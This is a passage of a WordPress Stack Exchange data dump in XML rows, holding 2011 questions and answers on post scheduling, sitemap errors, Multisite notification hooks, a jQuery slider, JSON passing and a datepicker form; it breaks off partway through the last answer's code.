  <row Id="23862" PostTypeId="1" AcceptedAnswerId="23863" CreationDate="2011-07-23T16:03:47.000" Score="0" ViewCount="16" Body="&lt;p&gt;I'm new to wordpress. Is it possible to say i would like to make this article public on this day and time AND have wordpress tweet it? Possibly tweeting the subject+link or a twitter msg i add in + link on that said time/date?&lt;/p&gt;&#xA;" OwnerUserId="5143" LastActivityDate="2011-07-23T16:20:47.990" Title="Timed post and tweet?" Tags="&lt;date-time&gt;&lt;twitter&gt;&lt;automate&gt;" AnswerCount="1" />
  <row Id="23863" PostTypeId="2" ParentId="23862" CreationDate="2011-07-23T16:20:47.990" Score="2" ViewCount="" Body="&lt;p&gt;WordPress doesn't have &quot;tweeting&quot; functionality built in. However, post scheduling is built in. You just set the time when you want the post to publish on the edit post screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use a twitter plugin like my own &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-twitter-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Twitter Connect&lt;/a&gt;, and you schedule a post, then it will send the tweet at the same time as the post is published. STC requires some setup, but the STC-Publish module, using auto-publish, will support scheduled posts just fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only downside is that scheduling itself uses the WP-Cron mechanism, which is more a of &quot;best-effort&quot; mechanism than an actual scheduler. The WP-Cron system fires based on people visiting the site. So if nobody visits the site, then the schedule can vary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, say you schedule a post for 6pm. If nobody visits the site until 7pm, then the post publish doesn't happen until 7pm, and the tweet sent by STC also won't occur until 7pm. No way around this, really, the WP-Cron system relies on there being traffic to the site to trigger it into action.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-23T16:20:47.990" CommentCount="3" />
  <row Id="23864" PostTypeId="1" AcceptedAnswerId="23895" CreationDate="2011-07-23T16:58:21.030" Score="0" ViewCount="20" Body="&lt;p&gt;I'm using the Wordpress SEO by Yoast plugin. I'm having problems getting the Sitemaps XML section to work properly. Google gives me the dreaded red X for the status of the sitemap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message Google gives is: 208 &quot;Invalid URL&#xA;This is not a valid URL. Please correct it and resubmit.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The incorrect Google XML lists is: &lt;a href=&quot;http://#/&quot; rel=&quot;nofollow&quot;&gt;http://#/&lt;/a&gt; . In the XML sitempap created by the plugin, I can see that that URL is listed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where the XML Sitemap generator came up with this URL. In order to get my dropdown menus to work, I set the URL to # on some blank pages that only have a title. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the first child in my navigation is a blank page with a URL set to # and a title of &quot;A-C&quot;. The &quot;A-C&quot; page's children are the pages of all of the areas starting with A thru C. I set the &quot;A-C&quot; page's robot meta to noindex, nofollow. Does that have something to do with the problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have a page named &lt;a href=&quot;http://#/&quot; rel=&quot;nofollow&quot;&gt;http://#/&lt;/a&gt;. As I don't have a page with this URL listed in my WordPress Pages section, I can't set it to noindex, nofollow. Any suggestions on how to solve this problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-07-24T01:20:07.910" Title="Mystery URL http://#/ Listed in XML Sitemap Created by WordPress SEO by Yoast Plugin" Tags="&lt;plugins&gt;&lt;google-xml-sitemaps&gt;" AnswerCount="1" />
  <row Id="23865" PostTypeId="1" CreationDate="2011-07-23T17:21:10.627" Score="-1" ViewCount="26" Body="&lt;p&gt;I'm hoping to enhance an existing plugin's setting page by adding an 'end date' form. I know how to add text and other form fields but was wondering if there is standard function that will render a year/data/time form. No sense in re-inventing the wheel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all tips.&lt;/p&gt;&#xA;" OwnerUserId="7279" LastActivityDate="2011-07-23T22:58:56.850" Title="Standard API for rendering a date form" Tags="&lt;date-time&gt;&lt;form&gt;" AnswerCount="1" />
  <row Id="23866" PostTypeId="2" ParentId="23859" CreationDate="2011-07-23T18:32:01.907" Score="0" ViewCount="" Body="&lt;p&gt;Advanced permalinks plugin might solve your issue&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://urbangiraffe.com/plugins/advanced-permalinks/&quot; rel=&quot;nofollow&quot;&gt;advanced permalinks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7281" LastActivityDate="2011-07-23T18:32:01.907" />
  <row Id="23867" PostTypeId="1" CreationDate="2011-07-23T19:09:23.963" Score="1" ViewCount="22" Body="&lt;p&gt;Is it possible to hook in and override the default notification message for WP MS? I know the message being sent out is in /wp-admin/user-new.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_multisite() ) {&#xA;    function admin_created_user_email( $text ) {&#xA;        /* translators: 1: Site name, 2: site URL, 3: role */&#xA;        return sprintf( __( 'Hi,&#xA;You\'ve been invited to join \'%1$s\' at&#xA;%2$s as a %3$s.&#xA;If you do not want to join this site please ignore&#xA;this email. This invitation will expire in a few days.&#xA;&#xA;Please click the following link to activate your user account:&#xA;%%s' ), get_bloginfo('name'), site_url(), esc_html( $_REQUEST[ 'role' ] ) );&#xA;    }&#xA;    add_filter( 'wpmu_signup_user_notification_email', 'admin_created_user_email' );&#xA;&#xA;    function admin_created_user_subject( $text ) {&#xA;        return &quot;[&quot; . get_bloginfo('name') . &quot;] Your site invite&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe I can do it if I can find the right hook in so that I can remove_filter() and then add my own in. I had been toying with the following (admin_created_user_email2 is my new function):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function reset_admin_email(){&#xA;    remove_filter( 'wpmu_signup_user_notification_email', 'admin_created_user_email' );&#xA;    add_filter( 'wpmu_signup_user_notification_email', 'admin_created_user_email2', 1 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was reading this page that &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference#Actions_Run_During_an_Admin_Page_Request&quot; rel=&quot;nofollow&quot;&gt;lists the actions/hooks&lt;/a&gt; I can tie into, but I can't figure out which one to use (if any of them will even work)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience with this to point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;&lt;br /&gt;&#xA;Levi&lt;/p&gt;&#xA;" OwnerUserId="7282" LastActivityDate="2011-07-23T22:18:49.537" Title="Overriding the default WP Multisite notification e-mail" Tags="&lt;multisite&gt;&lt;email&gt;&lt;notifications&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="23868" PostTypeId="1" AcceptedAnswerId="23871" CreationDate="2011-07-23T19:47:19.077" Score="0" ViewCount="57" Body="&lt;p&gt;I found the perfect slider for my needs, the only issue now that is that I cannot get it to work correctly. Problem that occur is that the function created doesn't work like it should. It ought to display three posts from a specific category but it ends up pushing more posts, presumedly via the loop in the function. And the slider effect won't work at all - probably because of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the url below. It's step 2, at the bottom. The code for slideshow_featured_posts. I have a feeling something is missing in the code, because I already see that we're missing php-tags in it. But I can't see what. Can anyone who knows this better than me help out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.paddsolutions.com/how-to-integrate-jquery-cycle-plugin-to-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.paddsolutions.com/how-to-integrate-jquery-cycle-plugin-to-wordpress-theme/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7283" LastActivityDate="2011-07-23T20:57:01.183" Title="Problem with custom function from jQuery slider tutorial" Tags="&lt;customization&gt;&lt;functions&gt;&lt;jquery&gt;" AnswerCount="1" />
  <row Id="23869" PostTypeId="1" AcceptedAnswerId="23874" CreationDate="2011-07-23T20:15:17.880" Score="0" ViewCount="159" Body="&lt;p&gt;I'm trying to pass a post's content (which may contain HTML) to JavaScript via wp_localize_script(). wp_localize_script() can't handle multi-dimensional arrays, so I'm &lt;a href=&quot;http://www.ronakg.com/2011/05/passing-php-array-to-javascript-using-wp_localize_script/&quot; rel=&quot;nofollow&quot;&gt;encoding it in JSON and then decoding it with jQuery&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That works fine as long as you it's only text and you replace the &lt;code&gt;&amp;amp;quot;&lt;/code&gt; entity with a regular &lt;code&gt;&quot;&lt;/code&gt; before you call &lt;code&gt;$.parseJSON()&lt;/code&gt;. If you try to parse a post with HTML in it, though, you get errors like, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JSON.parse: expected property name or '}'&#xA;  &lt;a href=&quot;http://redacted.local/wp/wp-includes/js/jquery/jquery.js?ver=1.6.1&quot; rel=&quot;nofollow&quot;&gt;http://redacted.local/wp/wp-includes/js/jquery/jquery.js?ver=1.6.1&lt;/a&gt;&#xA;  Line 16&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, I'm guessing I need to do some more string manipulation before trying to parse it, to convert more entities back to the regular characters, but I don't want to just pick the few characters I'm having errors with because I'm sure there are dozens more that I might miss. Is there a comprehensive or standard way of doing this? I've done a lot of searching and having found any answers, so it makes me think I'm missing something obvious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the PHP side:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function loadResources()&#xA;{&#xA;    // ... &#xA;&#xA;    wp_register_script(&#xA;        'bgmp',&#xA;        plugins_url( 'functions.js', __FILE__ ),&#xA;        array( 'googleMapsAPI', 'jquery' ),&#xA;        self::BGMP_VERSION,&#xA;        true&#xA;    );&#xA;&#xA;    // ...&#xA;&#xA;    if( !is_admin() &amp;amp;&amp;amp; $this-&amp;gt;mapShortcodeCalled )&#xA;    {&#xA;        // ...&#xA;&#xA;        wp_enqueue_script('bgmp');&#xA;&#xA;        $bgmpData = array(&#xA;            'options'   =&amp;gt; $this-&amp;gt;getMapOptions(),&#xA;            'markers'   =&amp;gt; $this-&amp;gt;getPlacemarks()&#xA;        );&#xA;        wp_localize_script( 'bgmp', 'bgmpData', $bgmpData );&#xA;    }&#xA;&#xA;    // ...&#xA;}&#xA;&#xA;public function getPlacemarks()&#xA;{&#xA;    // ...&#xA;&#xA;        foreach( $publishedPlacemarks as $pp )&#xA;        {&#xA;            // ...&#xA;&#xA;            $placemarks[] = array(&#xA;                // ...&#xA;                'details'   =&amp;gt; $pp-&amp;gt;post_content,&#xA;                // ...&#xA;            );&#xA;        }&#xA;&#xA;    return json_encode( $placemarks );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the JavaScript side&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ...&#xA;&#xA;init : function()&#xA;{&#xA;    // ...&#xA;&#xA;    bgmpData.markers        = $.parseJSON( bgmpData.markers.replace(/&amp;amp;quot;/g, '&quot;') );&#xA;&#xA;    // ...&#xA;},&#xA;&#xA;// ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2011-07-23T21:44:14.340" Title="Passing JSON-encoded HTML from Wordpress to JavaScript" Tags="&lt;jquery&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="23870" PostTypeId="2" ParentId="23681" CreationDate="2011-07-23T20:48:50.623" Score="2" ViewCount="" Body="&lt;p&gt;To answer the first part of your question: your settings form already has the &lt;code&gt;checkbox&lt;/code&gt; case covered; so if you add a new checkbox input, &lt;strong&gt;you don't need to add anything to the switch&lt;/strong&gt;. This code will apply to &lt;em&gt;all&lt;/em&gt; checkbox inputs you add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'checkbox':&#xA;?&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;vertigo_theme_options[&amp;lt;?php echo esc_attr( $option['id'] ); ?&amp;gt;]&quot; id=&quot;&amp;lt;?php echo esc_attr( $option['id'] ); ?&amp;gt;&quot; value=&quot;true&quot; &amp;lt;?php echo ( 'true' == $value ) ? 'checked=&quot;checked&quot;' : ''; ?&amp;gt; /&amp;gt;&#xA;&amp;lt;?php break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More on &lt;code&gt;switch&lt;/code&gt; from the &lt;a href=&quot;http://php.net/manual/en/control-structures.switch.php&quot; rel=&quot;nofollow&quot;&gt;PHP.net manual&lt;/a&gt; and from &lt;a href=&quot;http://www.w3schools.com/php/php_switch.asp&quot; rel=&quot;nofollow&quot;&gt;w3schools&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a bit confused by the wording of your question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've got the option to show up in the panel via the array&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;vs. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've noted below... where it appears I need to add it in the &quot;create form&quot; section in the php that builds the form.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So: &lt;strong&gt;does the new checkbox currently appear in the Settings page form, or does it not appear&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the setting field appears properly in the settings form, I'm going to try to tackle the next two issues: the option not saving properly, and the option not outputting properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First things first: &lt;strong&gt;is the option saving its value properly in the DB, based on the settings form field selection?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's &lt;strong&gt;not saving correctly&lt;/strong&gt;, then the issue may be that you're not checking for it properly. With a checkbox, if the checkbox isn't enabled, then the entire parameter is omitted from the POST data. In that case, in order to save its value in the DB, you need to check for the option value being set, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$vertigo_options['disable_comments_link'] = ( isset( $_POST['disable_comments_link'] ) ? true : false );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: you'll want to adjust for however you are sanitizing the form data. If you were using the Settings API, it would look more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$output['disable_comments_link'] = ( isset( $input['disable_comments_link'] ) ? true : false );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this get us closer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we know that the option is saving properly in the DB. Now we just need to get it to output properly in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next question: &lt;strong&gt;are the options stored in the DB discretely, or as an array?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your settings form markup, it appears that the options are stored as an &lt;strong&gt;array&lt;/strong&gt;, so we need to call &lt;code&gt;get_option()&lt;/code&gt; on the &lt;em&gt;array&lt;/em&gt;, and then use values in that array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$vertigo_theme_options = get_option( 'vertigo_options' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: to find the actual database entry name, refer to the &lt;code&gt;vertigo_get_theme_options()&lt;/code&gt; function. You could also just call this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$vertigo_theme_options = vertigo_get_theme_options();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Either way, now you should be able to reference your option in &lt;code&gt;$vertigo_theme_options&lt;/code&gt;; e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( 'true' == $vertigo_theme_options['disable_comments_link'] ) { ?&amp;gt; &#xA;&amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that get us there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 3&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;option_name under wp_options is vertigo_theme_options&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$vertigo_theme_options = get_option( 'vertigo_theme_options' );&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( 'true' == $vertigo_theme_options['disable_comments_link'] ) { ?&amp;gt; &#xA;&amp;lt;?php comments_template( '', true ); ?&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm just about 100% sure this should do it.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-25T21:33:29.607" LastActivityDate="2011-07-25T21:33:29.607" CommentCount="9" />
  <row Id="23871" PostTypeId="2" ParentId="23868" CreationDate="2011-07-23T20:57:01.183" Score="1" ViewCount="" Body="&lt;p&gt;replace &lt;code&gt;slideshow_featured_posts&lt;/code&gt; function from that tutorial with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function slideshow_featured_posts() {&#xA;&#xA;    $featured = 1; // Assuming that the name of the category ID number 1 is &quot;Featured&quot;.&#xA;    $count = 3; // How many post to be shown as slides. Ideally, it should be more than 3 posts.&#xA;    add_filter('excerpt_length', 'hook_excerpt_featured_length');&#xA;    $Silder_query = new WP_Query(array('cat' =&amp;gt; $featured, 'posts_per_page' =&amp;gt; $count));&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;list&quot;&amp;gt;&#xA;    &amp;lt;?php while ($Silder_query-&amp;gt;have_posts()) : $Silder_query-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;        &amp;lt;a class=&quot;image&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php the_post_thumbnail('slideshow'); ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;div class=&quot;meta&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div style=&quot;clear: both&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    wp_reset_query();&#xA;    remove_filter('excerpt_length','hook_excerpt_featured_length');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;everything else is ok.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-23T20:57:01.183" CommentCount="1" />
  <row Id="23872" PostTypeId="2" ParentId="23861" CreationDate="2011-07-23T21:13:23.280" Score="1" ViewCount="" Body="&lt;p&gt;This is another case where a pure-CSS definition will work. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#main_nav_left li:after {&#xA;    content: ' | ';&#xA;}&#xA;#main_nav_left li:last-child:after {&#xA;    content: '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-23T21:13:23.280" CommentCount="3" />
  <row Id="23873" PostTypeId="2" ParentId="23869" CreationDate="2011-07-23T21:15:34.867" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;placemarks[] = array(&lt;/code&gt; this means that &lt;code&gt;placemarks&lt;/code&gt; is array of arrays, is that right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;also you don't need to entities back and forth , just call &lt;code&gt;$.parseJSON()&lt;/code&gt; on all of the &#xA;&lt;code&gt;bgmpData&lt;/code&gt; var:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var bgmpData_parsed = $.parseJSON( bgmpData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thin you can access markers by &lt;code&gt;bgmpData_parsed.markers&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-23T21:15:34.867" CommentCount="1" />
  <row Id="23874" PostTypeId="2" ParentId="23869" CreationDate="2011-07-23T21:44:14.340" Score="1" ViewCount="" Body="&lt;p&gt;While it's not exact answer to your precise question, I agree with method suggest in comment. Just skip trying to stuff data into single dimension and make use of &lt;code&gt;l10n_print_after&lt;/code&gt; argument instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8655/pass-object-json-to-wp-localize-script&quot;&gt;pass object/JSON to wp_localize_script&lt;/a&gt; question and answer there.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-23T21:44:14.340" CommentCount="3" />
  <row Id="23875" PostTypeId="2" ParentId="23867" CreationDate="2011-07-23T22:00:25.013" Score="0" ViewCount="" Body="&lt;p&gt;Would this kind of thing work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !function_exists('wp_new_user_notification') ) {&#xA;function wp_new_user_notification( $user_id, $plaintext_pass = '' ) {&#xA;    $user = new WP_User($user_id);&#xA;&#xA;    $user_login = stripslashes($user-&amp;gt;user_login);&#xA;    $user_email = stripslashes($user-&amp;gt;user_email);&#xA;            $message = $user_login . &quot; &quot; . $user_email;&#xA;&#xA;    wp_mail($user_email, sprintf(__('[%s] Your username and password'), get_option('blogname')), $message);&#xA;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2647" LastActivityDate="2011-07-23T22:00:25.013" />
  <row Id="23876" PostTypeId="1" CreationDate="2011-07-23T22:04:19.400" Score="0" ViewCount="19" Body="&lt;p&gt;Hi I am new to wordpress. Kinda going through different themes that is available. I like on, which is &lt;a href=&quot;http://theme.wordpress.com/themes/oulipo/&quot; rel=&quot;nofollow&quot;&gt;Oulipo&lt;/a&gt;, but it doesn't have any e-mail subscription feature. I am using free wordpress hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know may be this question is too silly but I don't understand how to add it. As I have heard free word press hosting don't have many features available, so I was wondering if only the allowed features are those that comes with the theme or is it customizable further?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7284" LastActivityDate="2011-08-23T10:33:46.633" Title="How do I add e-mail subscription functionality" Tags="&lt;functions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="23877" PostTypeId="2" ParentId="22237" CreationDate="2011-07-23T22:10:10.857" Score="1" ViewCount="" Body="&lt;p&gt;It depends on where you're using this. Is global $post giving you the specific post that you want to update? Your Wordpress update post code looks right to me, but is the if-statement valid, and is $post-&gt;ID yielding the correct int?&lt;/p&gt;&#xA;" OwnerUserId="2647" LastActivityDate="2011-07-23T22:10:10.857" CommentCount="1" />
  <row Id="23878" PostTypeId="2" ParentId="23876" CreationDate="2011-07-23T22:12:23.817" Score="0" ViewCount="" Body="&lt;p&gt;By free Wordpress hosting, do you mean on Wordpress.com? If so, I don't believe this is the correct place for your question; this is for Wordpress installations on private hosting.&lt;/p&gt;&#xA;" OwnerUserId="2647" LastActivityDate="2011-07-23T22:12:23.817" CommentCount="1" />
  <row Id="23879" PostTypeId="1" CreationDate="2011-07-23T22:15:09.473" Score="-1" ViewCount="51" Body="&lt;p&gt;I just took 2 coffees worth of caffeine and started a very big project: Turning a wordpress-engined blog with a custom theme into a full-featured website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done? Is this legal? Has this been tried before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My searches on google were in vain as I only came up with tutorials to turn my front page into a static one or how to update my theme! lame...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do: Take my current website and my new blog. Then take the content from the site (database, scripts, data) and the design, look and feel plus the user administration from the blog and mix them together. Is this possible? Can it be done with today's technology? :P... is it legal? Will it bother wordpress if I use their engine to manage my website, with them not getting anything in return?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to take my custom designed theme from my blog, the way the blog manages users(register, login, administrator right to delete users etc). I then want to take the scripts I have for my website: content-fetching from mysql, content posting, rating, comments system, custom search and all kinds of scripts and put all of these into wordpress...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this without digesting the whole wordpress engine by myself? has this been done before so I could follow a tutorial?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANKS IN ADVANCE to anyone kind-hearted that will lend me a helping hand&lt;/p&gt;&#xA;" OwnerUserId="7285" LastActivityDate="2011-07-23T23:17:39.507" Title="Turning Wordpress Into full-featured website?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;customization&gt;&lt;theme-options&gt;&lt;outside-wordpress&gt;" AnswerCount="2" />
  <row Id="23880" PostTypeId="2" ParentId="23867" CreationDate="2011-07-23T22:18:49.537" Score="1" ViewCount="" Body="&lt;p&gt;@user2647 seems to be on the right path, but I think that this is more correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action( 'wpmu_new_user', 'newuser_notify_siteadmin' );&#xA;add_action( 'wpmu_new_user', 'my_notification' );&#xA;&#xA;function my_notification ($user_id) {&#xA;  // Make your custom notification here.&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2397" LastActivityDate="2011-07-23T22:18:49.537" />
  <row Id="23881" PostTypeId="2" ParentId="23879" CreationDate="2011-07-23T22:24:35.633" Score="1" ViewCount="" Body="&lt;p&gt;Yes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used Wordpress to create many large sites, that are by no means blogs. Sometimes the structure that Wordpress uses, with the custom posts + taxonomies, etc., actually makes things much easier than many PHP frameworks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be a big discussion in the PHP community as to whether Wordpress should be used as a framework for general sites. It seems that Matt (the founder of Wordpress) actually wants to keep Wordpress as a blogging engine, however the fact that so many users are beginning to use Wordpress for other means looks like this is inevitably going to change in time. The one thing that Wordpress does lack is an effective caching mechanism, so you're probably going to have to use a plugin for this (WP super cache is a good option). However, the fact that Wordpress has so many functions created for you, makes it very much like a general PHP framework, even if many people argue against this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From personal experience, Wordpress can be a little heavy to create general-purpose sites that aren't very big. However, it can be a dream if you take it on a case-by-case basis and you use your experience with Wordpress to determine whether or not it will make your job easier.&lt;/p&gt;&#xA;" OwnerUserId="2647" LastActivityDate="2011-07-23T22:24:35.633" CommentCount="5" />
  <row Id="23882" PostTypeId="2" ParentId="23865" CreationDate="2011-07-23T22:58:56.850" Score="0" ViewCount="" Body="&lt;p&gt;Could this work for you?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link type=&quot;text/css&quot; href=&quot;http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.10/themes/base/jquery-ui.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.11/jquery-ui.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready(function(){&#xA;    $(&quot;#datepicker&quot;).datepicker({&#xA;        onSelect: function(dateText, inst) { $(&quot;#thedate&quot;).val(dateText); } }); &#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;table&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td style=&quot;vertical-align:top;&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;End Date&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        